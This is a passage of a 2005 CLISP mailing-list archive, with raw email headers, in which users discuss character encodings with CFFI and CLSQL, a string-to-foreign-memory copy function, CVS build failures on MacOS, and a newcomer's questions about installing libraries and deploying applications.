WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Nov 11 06:28:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaZsd-0003Iu-47 for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 06:27:51 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaZsb-000121-2r for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 06:27:50 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jABERJYf001998; Fri, 11 Nov 2005 09:27:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <437465A0.60707@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 11 Nov 2005 11:34:24 +0200") References: <437465A0.60707@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 11 06:29:00 2005 X-Original-Date: Fri, 11 Nov 2005 09:26:25 -0500 > * Yaroslav Kavenchuk [2005-11-11 11:34:24 +0200]: > > Sam Steingold wrote: > >>>* Yaroslav Kavenchuk [2005-11-10 22:20:50 +0200]: >>> >>>[4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251)) >>> (clsql:execute-command >>> "insert into mu values ('=D0=BA=D0=B3', '=D0=BA=D0=B8=D0=BB=D0= =BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC')" >>> :database conn)) >>=20 >>=20 >> it works, this means that '=D0=BA=D0=B8=D0=BB=D0=BE=D0=B3=D1=80=D0=B0=D0= =BC=D0=BC' is actually in CP1251 >>=20 >>=20 >>>[7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8)) >>> (clsql:execute-command >>> "insert into mu values ('=D0=BC', '=D0=BC=D0=B5=D1=82=D1=80')" >>> :database conn)) >>> >>>*** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion >>=20 >>=20 >> aha - so '=D0=BC=D0=B5=D1=82=D1=80' is not UTF-8 (but CP1251)! >>=20 >> surprized? > > Yes :) > > What is do next function > > (defun lisp-string-to-foreign (string ptr size) > "Copy at most SIZE-1 characters from a Lisp STRING to PTR. > The foreign string will be null-terminated." > (decf size) > (loop > :with bytes =3D (ext:convert-string-to-bytes string > custom:*foreign-encoding*) > :with i =3D 0 > :for byte :across bytes > :while (< i size) > :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte) > :finally (setf (%mem-ref ptr :unsigned-char i) 0))) > > if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8? string is a character array. in CL, a character is a first class object distinct from its integer code. an encoding is a map (a 1:1 function) between (a subset of) the set of character and a subset of the set of integers. once you get this down, you will see why CLISP has so many encoding variables... --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.honestreporting.com http://www.iris.org.il http://www.palestinefacts.org/ http://www.mideasttruth.com/ There are no answers, only cross references. From pjb@informatimago.com Fri Nov 11 06:30:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaZvW-0003V2-Cu for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 06:30:50 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaZvT-0008Bw-HA for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 06:30:50 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 69432585BE; Fri, 11 Nov 2005 15:30:30 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 12DEE5833D; Fri, 11 Nov 2005 15:30:20 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C16AD887F; Fri, 11 Nov 2005 15:30:17 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17268.43769.656198.767600@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: clisp + cffi + clsql problem In-Reply-To: <437465A0.60707@jenty.by> References: <437465A0.60707@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 11 06:31:02 2005 X-Original-Date: Fri, 11 Nov 2005 15:30:17 +0100 Yaroslav Kavenchuk writes: > What is do next function Exactly what is written: > (defun lisp-string-to-foreign (string ptr size) > "Copy at most SIZE-1 characters from a Lisp STRING to PTR. > The foreign string will be null-terminated." > (decf size) Decrements the size, since the above documentation string specifies that it must copy at most SIZE - 1 characters. > (loop > :with bytes = (ext:convert-string-to-bytes string > custom:*foreign-encoding*) > if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8? Converts the string to UTF-8 bytes. > :with i = 0 Start with i = 0 > :for byte :across bytes For each byte in the vector bytes. > :while (< i size) But no more than size times > :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte) Put the byte in the memory at ptr+i, and increment i. > :finally (setf (%mem-ref ptr :unsigned-char i) 0))) And finally, put a null byte at the last ptr+i. -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From kavenchuk@jenty.by Fri Nov 11 07:04:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaaSY-0004sy-PQ for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 07:04:58 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaaSV-0001NP-9c for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 07:04:58 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT6242B; Fri, 11 Nov 2005 17:05:52 +0200 Message-ID: <4374B361.50800@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 11 07:05:13 2005 X-Original-Date: Fri, 11 Nov 2005 17:06:09 +0200 Sam Steingold wrote: > string is a character array. > in CL, a character is a first class object distinct from its integer > code. > an encoding is a map (a 1:1 function) between (a subset of) the set of > character and a subset of the set of integers. > once you get this down, you will see why CLISP has so many encoding > variables... > Thank you and Pascal Bourguignon. I have understood correctly: - strings inside the program (at processing) always is a array of character (unicode)? - *TERMINAL-ENCODING* specifies encoding to translate terminal i/o to lisp-string? - russian symbol "Ш" (#\CYRILLIC_CAPITAL_LETTER_SHA) is identical inside lisp without dependence from input encoding (CP866, CP1251, UTF-8)? - why the string an interior cannot be translated in UTF-8? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Nov 11 07:39:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eaazs-0006i3-N3 for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 07:39:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eaazr-0003eU-6z for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 07:39:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jABFcsj0006941; Fri, 11 Nov 2005 10:39:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4374B361.50800@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 11 Nov 2005 17:06:09 +0200") References: <4374B361.50800@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 11 07:40:05 2005 X-Original-Date: Fri, 11 Nov 2005 10:38:00 -0500 > * Yaroslav Kavenchuk [2005-11-11 17:06:09 +0200]: > > - strings inside the program (at processing) always is a array of > character (unicode)? yes. http://clisp.cons.org/impnotes/characters.html > - *TERMINAL-ENCODING* specifies encoding to translate terminal i/o to > lisp-string? yes. http://clisp.cons.org/impnotes/encoding.html#term-enc > - russian symbol "=D0=A8" (#\CYRILLIC_CAPITAL_LETTER_SHA) is identical in= side "character", not "symbol"! ("=D0=B1=D1=83=D0=BA=D0=B2=D0=B0" =D0=B0 =D0=BD= =D0=B5 "=D1=81=D0=B8=D0=BC=D0=B2=D0=BE=D0=BB"). > lisp without dependence from input encoding (CP866, CP1251, UTF-8)? yes. > - why the string an interior cannot be translated in UTF-8? I don't understand the question. a string can be converted into bytes using any encoding. http://clisp.cons.org/impnotes/encoding.html#term-enc --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.iris.org.il http://www.honestreporting.com http://www.jihadwatch.org/ http://www.mideasttruth.com/ Never let your schooling interfere with your education. From lisp-clisp-list@m.gmane.org Sat Nov 12 03:25:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EatVJ-0008Aw-5x for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 03:25:05 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EatVH-0006kW-Ev for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 03:25:05 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EatTm-00026C-Bx for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 12:23:30 +0100 Received: from ppp83-237-125-105.pppoe.mtu-net.ru ([83.237.125.105]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 12 Nov 2005 12:23:30 +0100 Received: from yavannadil by ppp83-237-125-105.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 12 Nov 2005 12:23:30 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dmitri Hrapof Lines: 11 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 83.237.125.105 (Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 12 03:26:02 2005 X-Original-Date: Sat, 12 Nov 2005 11:22:10 +0000 (UTC) Sam Steingold gnu.org> writes: > the handling of buffered streams by SOCKET-STATUS has been fixed in the > CVS head. > it would be nice if you could test it. I've tried to build clisp from CVS, but failed with various errors. Guess it's time for me to upgrade MacOS to 10.4 and gcc (3.1 20020420) :-( From Devon@Jovi.Net Sat Nov 12 06:14:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eaw94-0005Jc-TU for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 06:14:18 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Eaw93-0005FR-Fz for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 06:14:18 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jACEDvT4039680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 12 Nov 2005 09:13:57 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jACEDrXF039677; Sat, 12 Nov 2005 09:13:53 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511121413.jACEDrXF039677@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Dmitri Hrapof CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Dmitri Hrapof on Sat, 12 Nov 2005 11:22:10 +0000 (UTC)) Subject: Re: [clisp-list] Re: Clisp 2.35 and Clorb References: X-Spam-Status: No, score=-4.0 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Sat, 12 Nov 2005 09:14:03 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 12 06:15:01 2005 X-Original-Date: Sat, 12 Nov 2005 09:13:53 -0500 (EST) From: Dmitri Hrapof Date: Sat, 12 Nov 2005 11:22:10 +0000 (UTC) Sam Steingold gnu.org> writes: > the handling of buffered streams by SOCKET-STATUS has been fixed in the > CVS head. > it would be nice if you could test it. I've tried to build clisp from CVS, but failed with various errors. Guess it's time for me to upgrade MacOS to 10.4 and gcc (3.1 20020420) :-( You'll get the same errors. If we could see the header files and build-generated sources that went into builds on other systems, that might nail the errors. Pointers, anyone? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Sat Nov 12 15:54:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eb5Cq-0008IL-Kw for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 15:54:48 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eb5Co-0006F1-HQ for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 15:54:48 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 12 Nov 2005 18:53:44 -0500 X-IronPort-AV: i="3.97,322,1125892800"; d="scan'208"; a="162409686:sNHT28715698" To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511121413.jACEDrXF039677@grant.org> (Devon Sean McCullough's message of "Sat, 12 Nov 2005 09:13:53 -0500 (EST)") References: <200511121413.jACEDrXF039677@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp 2.35 and Clorb Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 12 15:55:24 2005 X-Original-Date: Sat, 12 Nov 2005 18:51:39 -0500 > * Devon Sean McCullough [2005-11-12 09:13:53 -0500]: > > From: Dmitri Hrapof > Date: Sat, 12 Nov 2005 11:22:10 +0000 (UTC) > > Sam Steingold gnu.org> writes: > > > the handling of buffered streams by SOCKET-STATUS has been fixed in the > > CVS head. > > it would be nice if you could test it. > > I've tried to build clisp from CVS, but failed with various errors. > Guess it's time for me to upgrade MacOS to 10.4 and gcc (3.1 20020420) > :-( > > You'll get the same errors. If we could see the header files > and build-generated sources that went into builds on other > systems, that might nail the errors. Pointers, anyone? clisp cvs head builds ootb on sf cf ppc-osx2 if you are experiencing problems, please see clisp faq and search for "bugs" -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://truepeace.org http://www.palestinefacts.org/ http://www.savegushkatif.org Lisp: its not just for geniuses anymore. From stormcoder@yahoo.com Sat Nov 12 23:22:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbCBd-0007lz-4s for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 23:22:01 -0800 Received: from smtp017.mail.yahoo.com ([216.136.174.114]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EbCBa-0004lh-Ny for clisp-list@lists.sourceforge.net; Sat, 12 Nov 2005 23:22:01 -0800 Received: (qmail 63274 invoked from network); 13 Nov 2005 07:21:48 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:Message-ID:Disposition-Notification-To:Date:From:User-Agent:X-Accept-Language:To:Subject:Mime-Version:Content-Transfer-Encoding:Content-Type; b=57qgVLYll+bwubXWwDbnVQJLuQnya39rKBZeK3CZVHQpEnVswHPM1a4Vu0o17DQXhhch60etU57Gl06wY07UIXYW3nqeZyl7dpPGhPVdnRyCjUS73wfBiUvjGkb/itVz1qDxOQAt97ZBs0sq7mzpN1jOCVFmazI6z+c5BJ04lE4= ; Received: from unknown (HELO ?192.168.1.25?) (stormcoder@66.235.31.193 with login) by smtp017.mail.yahoo.com with SMTP; 13 Nov 2005 07:21:48 -0000 Received: from 127.0.0.1 (AVG SMTP 7.1.362 [267.12.8/166]); Sat, 12 Nov 2005 23:21:50 -0800 Message-ID: <4376E98C.8040509@yahoo.com> From: Mike Owens User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Newbie questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 12 23:23:01 2005 X-Original-Date: Sat, 12 Nov 2005 23:21:48 -0800 I've been reading a couple of Lisp books and have a pretty good handle on coding in Lisp but adding and deploying libraries and applications has me confused. For instance, I would like to install asdf and mk-defsystem to get started. I have been looking through the wiki and looking at the site pages for those libraries but I still don't know how to install those libraries in CLISP. One of the problems is that running a Lisp system is unlike anything I have done in the past. I am an experienced developer and use a variety of languages but Lisp is really different. I also need to figure out how I would deploy an application. I saw a past message asking about deployment which said that, technically, a runtime needs the lisp executable and an init image but legally the source for the environment and application needs to be deployed. Would having the source in an archive accessible to the user work, as well. I'm just thinking about easing deployment and setup. So the questions are... Is there a write up somewhere on installing libraries in CLISP? Is there a legal oppinion on deploying an application with the runtime and source in separate packages? Currently, I have CLISP setup with emacs and SLIME as the development enviroment. -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.362 / Virus Database: 267.12.8/166 - Release Date: 11/10/2005 From sds@gnu.org Sun Nov 13 08:16:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbKX8-0002Wy-I4 for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 08:16:46 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EbKX6-0001KX-29 for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 08:16:46 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 13 Nov 2005 11:16:39 -0500 X-IronPort-AV: i="3.97,319,1125892800"; d="scan'208"; a="162641959:sNHT22947028" To: clisp-list@lists.sourceforge.net, Mike Owens Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4376E98C.8040509@yahoo.com> (Mike Owens's message of "Sat, 12 Nov 2005 23:21:48 -0800") References: <4376E98C.8040509@yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Owens Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Newbie questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 13 08:17:03 2005 X-Original-Date: Sun, 13 Nov 2005 11:15:33 -0500 > * Mike Owens [2005-11-12 23:21:48 -0800]: > > I've been reading a couple of Lisp books and have a pretty good handle > on coding in Lisp but adding and deploying libraries and applications > has me confused. did you 